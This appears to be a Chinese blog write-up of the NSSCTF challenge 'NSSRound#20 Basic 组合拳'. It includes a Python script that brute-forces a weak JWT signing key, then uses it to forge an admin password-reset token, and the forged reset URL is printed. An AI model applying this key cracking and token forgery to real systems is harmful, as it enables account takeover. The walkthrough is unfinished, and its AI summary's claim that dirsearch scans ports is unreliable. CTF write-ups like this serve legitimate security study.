Web 2 NSSRound#20 Basic]组合拳! | NSSCTF

piter 发布于 2024-11-26 375 次阅读 317 字


AI 摘要

在这场技术与智慧的较量中,NSSRound#20的组合拳挑战等你来战!潜入深邃的网络安全世界,从简单的登录尝试到巧妙的密码重置,每一个步骤都蕴藏着破解的关键。利用dirsearch工具探测开放端口,运用jwt.decode揭开神秘网关,最后,你是否能掌握管理员的权限?成功破解背后的秘密和技术,快来一起揭开这场精彩的探索旅程!

NSSRound#20 Basic]组合拳! | NSSCTF

打开发现是登录

尝试admin,密码随便输,无效,没有说用户是否存在,换其他的没用

有注册用户方式,试试看

可以注册

但是登录显示没有权限,看来要admin

查看另一个突破口,重置密码试试,拿自己的账号

有重置链接,查资料

查了一下验证码的资料

哦,尝试扫描网站端口,找到开放的端口

使用dirsearch工具来扫描开发端口

暴力解出来,哭不太会

from authlib.jose import jwt
from authlib.jose.errors import BadSignatureError
from string import ascii_letters,digits
from itertools import product
from tqdm import tqdm
​
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiOTA5NzI3NzE1QHFxLmNvbSIsImVtYWlsIjoiOTA5NzI3NzE1QHFxLmNvbSIsInR5cGUiOjN9.Fxhwn5QJl74QAMVcYzLAXdT1tgies-IAWiXGoghWXBA"
​
# 其实这里走了捷径,可以忽略特殊符号
for i in tqdm(product(list(ascii_letters+digits),repeat=4),desc='attaching...'):
    i = "".join(i)
    try:
        jwt.decode(
            token,
            key=i
        )
        exit(f'key: {i}')
    except BadSignatureError:
        continue;

解出

然后反解出admin的重置密码

推出链接来重置密码

http://node6.anna.nssctf.cn:20562/#/reset_token?email=Administrator@163.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjMsImV4cCI6MTczMjYyNjkxOH0.ff-9dF2mQvNTyYpSF0OxZ2dR_iKzvZOugtaIYH7nFQI

最后进入后台,有个资源下载器,base64的反解得到printf("hello world"),好像没啥用

以下内容不太会

  • wechat_img
永远不要因为需要大量时间才能完成,就放弃梦想,时间怎么样都会过去的
最后更新于 2024-11-29